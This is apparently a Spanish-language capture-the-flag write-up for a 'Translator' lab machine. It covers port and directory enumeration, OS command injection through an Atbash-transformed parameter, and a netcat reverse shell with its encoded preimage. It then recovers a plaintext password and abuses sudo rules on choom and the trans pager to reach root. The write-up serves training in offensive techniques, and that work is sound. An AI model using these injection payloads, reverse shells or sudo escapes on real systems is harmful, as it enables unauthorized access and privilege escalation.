Enumeración de servicios
Enumeramos puertos:
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.83
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.83
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-20 14:28 -04
Nmap scan report for 192.168.1.83
Host is up (0.00033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 08:cf:50:b2:4f:41:43:c4:66:56:ce:96:b9:04:8c:77 (RSA)
| 256 40:b7:11:24:76:59:cd:e0:79:db:71:d1:39:29:d5:45 (ECDSA)
|_ 256 44:64:ba:b8:52:4f:ca:00:dd:3e:c3:28:71:6f:77:76 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.46 seconds❯ gobuster dir -u 'http://192.168.1.83' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/translate.php (Status: 200) [Size: 20]
...OS Command Injection después de la transformación Atbash
El sitio es "HMV Translator" y envía el texto mediante el parámetro hmv. Antes de utilizarlo, la aplicación transforma las letras con Atbash, sustituyendo cada una por su opuesta en el alfabeto. Después inserta el resultado en un comando del sistema sin neutralizar metacaracteres, lo que produce OS Command Injection.
La primera petición muestra que id se transforma en rw. En la segunda enviamos id;rw: Atbash produce rw;id, de modo que el primer fragmento falla o no aporta información, pero el texto situado después de ; se convierte en el comando válido id:
❯ curl 'http://192.168.1.83/translate.php?hmv=id'
Translated to:<br>rw
rw
❯ curl 'http://192.168.1.83/translate.php?hmv=id;rw'
Translated to:<br>rw;id
rw
uid=33(www-data) gid=33(www-data) groufs=33(www-data)Para obtener una reverse shell debemos enviar la preimagen Atbash del comando deseado. La primera petición sirve para observar que nc -e /bin/bash se convierte en mx -v /yrm/yzhs; la segunda envía precisamente esa cadena para que el servidor la transforme de vuelta antes de pasarla al shell:
❯ curl 'http://192.168.1.83/translate.php?hmv=a;nc%20-e%20/bin/bash%20192.168.1.3%201234'
Translated to:<br>z;mx -v /yrm/yzhs 192.168.1.3 1234
z
❯ curl 'http://192.168.1.83/translate.php?hmv=a;mx%20-v%20/yrm/yzhs%20192.168.1.3%201234'
❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.83:36146.
whoami
www-dataRecuperación de credenciales
En /var/www/html hay un archivo codificado con la misma sustitución Atbash:
www-data@translator:~/html$ cat hvxivg
Mb kzhhdliw rh zbfie3w4Que traducido es:
My password is ayurv3d4La probamos con el usuario ocean (de /etc/passwd) y obtenemos la primera flag:
www-data@translator:~/html$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ocean:x:1000:1000:ocean,,,:/home/ocean:/bin/bash
india:x:1001:1001:,,,:/home/india:/bin/bashMovimiento lateral con choom
Revisamos sudo -l:
ocean@translator:~$ sudo -l
...
User ocean may run the following commands on translator:
(india) NOPASSWD: /usr/bin/choomchoom acepta el programa que debe ejecutar después de ajustar su puntuación OOM. Como sudo lo autoriza bajo la identidad de india sin restringir el programa hijo, lo utilizamos para iniciar Bash como esa cuenta:
ocean@translator:~$ sudo -u india choom -n 0 /bin/bash
india@translator:/home/ocean$Revisamos sudo -l como india:
india@translator:~$ sudo -l
...
User india may run the following commands on translator:
(root) NOPASSWD: /usr/local/bin/transEscalada mediante el pager de trans
trans -M abre su manual dentro de un pager compatible con escapes de shell. La regla de sudo ejecuta todo el proceso como root, así que !/bin/bash hereda esa identidad:
india@translator:~$ sudo /usr/local/bin/trans -M
!/bin/bash
root@translator:/home/india#Obtenemos nuestra flag.
Fin.